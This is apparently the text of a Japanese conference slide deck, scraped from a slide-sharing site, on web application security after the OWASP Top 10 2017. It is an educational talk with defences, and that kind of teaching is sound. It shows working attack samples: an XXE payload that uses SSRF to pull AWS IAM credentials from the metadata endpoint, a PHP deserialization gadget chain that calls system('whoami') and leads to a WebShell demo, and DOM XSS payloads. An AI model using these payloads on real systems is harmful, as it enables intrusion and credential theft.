Recommended
PPTX
SPAセキュリティ入門~PHP Conference Japan 2021
PPTX
徳丸本に載っていないWebアプリケーションセキュリティ
PPTX
ウェブ・セキュリティ基礎試験(徳丸基礎試験)の模擬試験問題
PDF
PDF
The Usage and Patterns of MagicOnion
PPTX
PPTX
PDF
実運用して分かったRabbit MQの良いところ・気をつけること #jjug
PDF
PDF
PDF
イエラエセキュリティMeet up 20210820
PPTX
PDF
これからのネイティブアプリにおけるOpenID Connectの活用
PDF
PPTX
PDF
PDF
PDF
PDF
なぜOpenID Connectが必要となったのか、その歴史的背景
PDF
「黒騎士と白の魔王」gRPCによるHTTP/2 - API, Streamingの実践
PPTX
P4によるデータプレーンプログラミングとユースケースのご紹介
PDF
PDF
モダン PHP テクニック 12 選 ―PsalmとPHP 8.1で今はこんなこともできる!―
PDF
20180914 security iotlt#1_ほんとうにあった怖い話_aws_iot編
ODP
PDF
ネットワークの自動化・監視の取り組みについて #netopscoding #npstudy
PDF
PDF
PPTX
PDF
More Related Content
PPTX
SPAセキュリティ入門~PHP Conference Japan 2021
PPTX
徳丸本に載っていないWebアプリケーションセキュリティ
PPTX
ウェブ・セキュリティ基礎試験(徳丸基礎試験)の模擬試験問題
PDF
PDF
The Usage and Patterns of MagicOnion
PPTX
PPTX
PDF
実運用して分かったRabbit MQの良いところ・気をつけること #jjug
What's hot
PDF
PDF
PDF
イエラエセキュリティMeet up 20210820
PPTX
PDF
これからのネイティブアプリにおけるOpenID Connectの活用
PDF
PPTX
PDF
PDF
PDF
PDF
なぜOpenID Connectが必要となったのか、その歴史的背景
PDF
「黒騎士と白の魔王」gRPCによるHTTP/2 - API, Streamingの実践
PPTX
P4によるデータプレーンプログラミングとユースケースのご紹介
PDF
PDF
モダン PHP テクニック 12 選 ―PsalmとPHP 8.1で今はこんなこともできる!―
PDF
20180914 security iotlt#1_ほんとうにあった怖い話_aws_iot編
ODP
PDF
ネットワークの自動化・監視の取り組みについて #netopscoding #npstudy
PDF
PDF
Similar to 安全なWebアプリケーションの作り方2018
PPTX
PDF
PDF
Laravel × レイヤードアーキテクチャを実践して得られた知見と反省 / Practice of Laravel with layered archi...
PPTX
PPTX
Railsエンジニアのためのウェブセキュリティ入門
PDF
ぼくのかんがえたさいきょうのうぇぶあぷりけーしょんふれーむわーく - YAPC Asia 2011
PDF
PDF
バリデーション駆動開発(仮称)で プロジェクトメンバー全員を幸せにした話
PDF
50分で掴み取る ASP.NET Web API パターン&テクニック
PDF
PDF
HTML5を使うためのプログレッシブエンハンスメント 〜すべての人に確実に情報を届けるために〜SwapSkillsFreeEventProgressiv...
PDF
「新しい」を生み出すためのWebアプリ開発とその周辺
PDF
PPTX
HTML5 Web アプリケーションのセキュリティ
PDF
PPTX
オワスプナイト20150115 dependency check
PDF
アプリ開発者に大きな影響 2017年版OWASP TOP 10
PPTX
PDF
PDF
More from Hiroshi Tokumaru
PPTX
PPTX
PPTX
SSRF対策としてAmazonから発表されたIMDSv2の効果と破り方
PPTX
XXE、SSRF、安全でないデシリアライゼーション入門
PDF
著名PHPアプリの脆弱性に学ぶセキュアコーディングの原則
PPTX
脆弱性は誰のせい? PHP、MySQL、Joomla! の責任やいかに
PPTX
『例えば、PHPを避ける』以降PHPはどれだけ安全になったか
PPT
PPTX
PPTX
PPTX
Webサイトをめぐるセキュリティ状況と効果的な防御方法(WordPress編)
PPTX
オニギリペイのセキュリティ事故に学ぶ安全なサービスの構築法 (PHPカンファレンス2019)
PPTX
PPTX
脅威分析の手法によりウェブサーバーにウイルス対策ソフトが必要かを検証する
PPTX
CMS四天王への攻撃デモを通じて、WordPressの効果的な防御法を学ぼう
PPTX
PPTX
PPTX
PPTX
introduction to unsafe deserialization part1
PPTX
デバッガでWordPress本体やプラグインの脆弱性を追いかけてみよう
Recently uploaded
PDF
エンジニアが選ぶべきAIエディタ & Antigravity 活用例@ウェビナー「触ってみてどうだった?Google Antigravity 既存IDEと...
PDF
流行りに乗っかるClaris FileMaker 〜AI関連機能の紹介〜 by 合同会社イボルブ
PDF
20251210_MultiDevinForEnterprise on Devin 1st Anniv Meetup
PPTX
楽々ナレッジベース「楽ナレ」3種比較 - Dify / AWS S3 Vector / Google File Search Tool
PDF
Machine Tests Benchmark Suite. Explain github.com/alexziskind1/machine_tests #2
PDF
Machine Tests Benchmark Suite. Explain github.com/alexziskind1/machine_tests #1
安全なWebアプリケーションの作り方2018 1. 2. 3. 徳丸浩の自己紹介
• 経歴
– 1985年 京セラ株式会社入社
– 1995年 京セラコミュニケーションシステム株式会社(KCCS)に出向・転籍
– 2008年 KCCS退職、HASHコンサルティング株式会社(現社名:EGセキュアソリューショ
ンズ株式会社)設立
• 経験したこと
– 京セラ入社当時はCAD、計算幾何学、数値シミュレーションなどを担当
– その後、企業向けパッケージソフトの企画・開発・事業化を担当
– 1999年から、携帯電話向けインフラ、プラットフォームの企画・開発を担当
Webアプリケーションのセキュリティ問題に直面、研究、社内展開、寄稿などを開始
– 2004年にKCCS社内ベンチャーとしてWebアプリケーションセキュリティ事業を立上げ
• 現在
– EGセキュアソリューションズ株式会社 代表 https://www.eg-secure.co.jp/
– 独立行政法人情報処理推進機構 非常勤研究員 https://www.ipa.go.jp/security/
– 著書「体系的に学ぶ 安全なWebアプリケーションの作り方」(2011年3月)
同 第2版が 2018年6月21日発売
「徳丸浩のWebセキュリティ教室 」(2015年10月)
– 技術士(情報工学部門)
3
4. 5. 6. OWASP Top 10 – 2017 の内容
6
項番 内容
A1 インジェクション
A2 認証の不備
A3 機微な情報の露出
A4 XML外部エンティティ参照(XXE)
A5 アクセス制御の不備
A6 不適切なセキュリティ設定
A7 クロスサイトスクリプティング(XSS)
A8 安全でないデシリアライゼーション
A9 既知の脆弱性のあるコンポーネントの使用
A10 不十分なロギングとモニタリング
New
7. 8. 9. こんなプログラムが脆弱
<?php
$doc = new DOMDocument();
$doc->load($_FILES['user']['tmp_name']);
$name = $doc->getElementsByTagName('name')->item(0)->textContent;
$addr = $doc->getElementsByTagName('address')->item(0)->textContent;
?><body>
以下の内容で登録しました<br>
氏名: <?php echo htmlspecialchars($name); ?><br>
住所: <?php echo htmlspecialchars($addr); ?><br>
</body>
9
XMLを外部から受け取り解析している
10. 11. 12. 13. EC2インスタンスからクレデンシャル取得
$ curl http://169.254.169.254/latest/meta-data/iam/security-credentials/test-
role
{
"Code" : "Success",
"LastUpdated" : "2018-12-14T04:18:31Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIAR6MQXXXXXXXXXXXX",
"SecretAccessKey" : "fksJ2MS/XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX",
"Token" :
"FQoGZXIvYXdzEL7//////////wEaDMvvWcaPXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXX=",
"Expiration" : "2018-12-14T10:54:27Z"
}
13
DEMO:XXEによるSSRF攻撃でやってみよう
14. SSRF攻撃用のXML
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE foo [
<!ENTITY credential SYSTEM "http://169.254.1
69.254/latest/meta-data/iam/security-credent
ials/test-role">
]>
<user>
<name>徳丸浩</name>
<address>&credential;</address>
</user>
14
15. 16. 17. 18. 19. 20. :Foo
func:
安全でないデシリアライゼーションによる任意コード実行
20
:配列
0:
1: 'exec'
:Bar
func = 'system'
args = ['whoami']
1. Fooオブジェクトのデストラクタが呼ばれる
2. call_user_func($this->func) が呼ばれる
3. Barオブジェクトのexecメソッドが呼ばれる
4. Barオブジェクトのexecメソッド内で、call_user_func_array('system', ['whoami']) が呼
ばれる
5. system('whoami') が呼ばれる
class Foo {
private $func;
public function __destruct() {
call_user_func($this->func);
}
}
class Bar {
private $func;
private $args;
public function exec() {
call_user_func_array(
$this->func, $this->args);
}
}
21. 22. Welcart 1.9.4 をリリースしました【脆弱性の修正】
Welcart 1.9.4 をリリースしました。オブジェクトインジェクション
脆弱性の修正などを行いました。詳細は以下の通りです。
アップグレードを行う場合は、Welcartを停止してからアップグレー
ドを行ってください。
【変更点】
• オブジェクトインジェクション脆弱性の修正
フロントにて、オブジェクトインジェクションと思われる脆弱性
が認められました。
過去のすべてのバージョンが対象となります。1.9.4にアップグ
レードしてください。
放置しますと、サイトに任意のファイルの埋め込まれる可能性が
あります。
脆弱性に関する修正の差分はこちら
22https://www.welcart.com/community/archives/83947より引用
23. 24. Welcart 1.9.3 と 1.9.4の差分
24
https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&new=1728429%
40usc-e-shop&old=1728428%40usc-e-shop&sfp_email=&sfph_mail= より引用
典型的な
オブジェクトインジェクション脆弱性
25. 攻撃に利用できるクラス: All-in-one Event Calendar より
class Ai1ec_Shutdown_Controller {
protected $_preserve;
protected $_restorables;
protected $_callbacks;
public function __destruct() {
// replace globals from our internal store
$restore = array();
foreach ( $this->_preserve as $name => $class ) {
// 略
}
// execute callbacks
foreach ( $this->_callbacks as $callback ) {
call_user_func( $callback );
}
// 後略
}
// 後略
}
25
攻撃に利用可能
26. 攻撃に利用できるクラス: ManageWP Worker より
class MWP_WordPress_HookProxy
{
private $callback;
private $args;
// 省略
public function hook()
{
call_user_func_array($this->callback, $this->args);
}
}
26
攻撃に利用可能
Demo
27. 28. デモ
• WordPress + Welcart + All-in-one Event Calendar +
ManageWP Worker (WordPressプラグイン)の環境
• Welcart の 安全でないデシリアライゼーションを用いてリ
モートコード実行
• WebShell設置
• 上記をNetBeas上でトレースします
28
29. 30. 31. 32. 33. 34. 35. 36. 37. 38. 39. 40. 41. 42. 主な改定内容(増えたもの)
• CORS
• クリックジャッキング
• ファイルアップロード(PDFのFormCalc)
• 構造化データの読み込みにまつわる問題
– 安全でないデシリアライゼーション、XXE
• キャッシュからの情報漏えい
• Web APIにまつわる問題
• JavaScriptの問題
• 脆弱性診断入門
• OWASP Top 10 -2017 完全ほぼ対応
42
43. 44. 45. 46. 47. 48. 49. 50. FormCalcによるコンテンツハイジャックの対策
• 以下の両方を実施
– PDF ファイルはブラウザ内で開かずダウンロードを強制
する
– PDF をobject要素やembed要素では開けない仕組みを実
装する
• 後者を実現するにはどうすればいい?
– 複数の方法が考えられるが…
– サンドボックス・ドメインを用いる方法
– 例えばPOSTリクエストに限定する方法がある
• POSTは嫌ですか?…実は僕も嫌なんですが…
– 凝った方法を採用してももちろん良いが、Adobe Reader
のイケテナイ仕様への対処に手間をかけても…
50
51. 52. 53. JSONPのコールバック関数名によるXSS の原因と対策
• 原因
– JSONPのMIMEタイプはtext/javascript
(application/javascript)なのに、
text/htmlとしている
– コールバック関数名の文字種チェックをしていない
• 対策
– MIMEタイプをtext/javascriptとする
Content-Type: text/javascript; charset=UTF-8
– コールバック関数名の文字種を英数字とアンダースコア
に限定する
53
54. Dom Based XSS (JavaScriptの問題の例)
54
<body>
<script>
window.addEventListener("hashchange", chghash, false);
window.addEventListener("load", chghash, false);
function chghash() {
var hash = decodeURIComponent(window.location.hash.slice(1));
var color = document.getElementById("color");
color.innerHTML = hash;
}
</script>
<a href="#赤">赤</a>
<a href="#緑">緑</a>
<a href="#青">青</a>
<p id="color"></p>
</body>
脆弱な例: フラグメント識別子を表示するだけのスクリプト
55. DOM Based XSSの攻撃例
• Script要素による攻撃は有効にならない
<script>alert(1)</script> など
• img 要素のonerror属性などは攻撃に使える
<img src=# onerror=alert(1)>
• 上記を含むHTMLをinnerHTMLに挿入すると、JavaScriptが実
行される
• document.writeであれば、script要素でも攻撃可能
55
56. 対策: Dom Based XSS
• 『DOM Based XSS』に関するレポート に詳しい
• document.writeやinnerHTMLの使用を避ける
• DOM操作APIを用いる or 適切なエスケープ処理
• jQueryを用いる場合は html()メソッドではなく、text()メソッドを用いる
function chghash() {
var hash = window.location.hash;
var color = document.getElementById("color");
// 脆弱
// color.innerHTML =
// decodeURIComponent(window.location.hash.slice(1));
// 対策
color.textContent =
decodeURIComponent(window.location.hash.slice(1));
}
56
57. 58. 59. ウェブ・セキュリティ試験(通称:徳丸試験)を2019年12月より開始
一般社団法人BOSS-CON JAPAN(代表理事:吉政忠志、所在:東京都世田
谷区、以下「BOSS-CON JAPAN」)は、BOSS-CON JAPAN内組織である
PHP技術者認定機構が国内Webセキュリティ第一人者である徳丸浩氏が代
表を務めるEGセキュアソリューションズ株式会社の支援を受け、ウェブ・
セキュリティ試験(通称:徳丸試験)を2019年12月より開始することを発
表いたしました。なお、本試験問題はEGセキュアソリューションズ株式会
社が作成いたします。
■ウェブ・セキュリティ試験実施の背景
全世界で稼働しているWebサイトは5億サイトになりました。企業にとって
も重要な位置づけになるため、サイバー攻撃の対象となるケースも増え、
攻撃手法も複雑かつ巧妙になってきています。よってウェブ・セキュリ
ティに対する対策は以前よりまして緊密且つ迅速に施さなければなりませ
ん。ユーザ、開発者に対してより一層のウェブ・セキュリティに対する意
識と知見を高めるべく、本試験を実施いたします。本試験の主教材はウェ
ブ・セキュリティの名著として知られる徳丸浩氏による「体系的に学ぶ 安
全なWebアプリケーションの作り方 第2版」を採用し、本書を基本的な出題
範囲として基礎的な知見を問う試験と実務知識を問う試験を実施いたしま
す。
62https://www.phpexam.jp/news/tokumarushiken/ より引用
60. 61. まとめ
• 最近のウェブセキュリティを取り巻く話題
• OWASP Top 10 – 2017や徳丸本改版を巡る話題
– PDFのFormCalcによるコンテンツハイジャック
– XXEとSSRF
– 安全でないデシリアライゼーション
• 割賦販売法改正・施行
• 安全なWebアプリケーションの作り方 第2版を読もう
• そして、「徳丸試験」を受けて理解度を確認しよう
64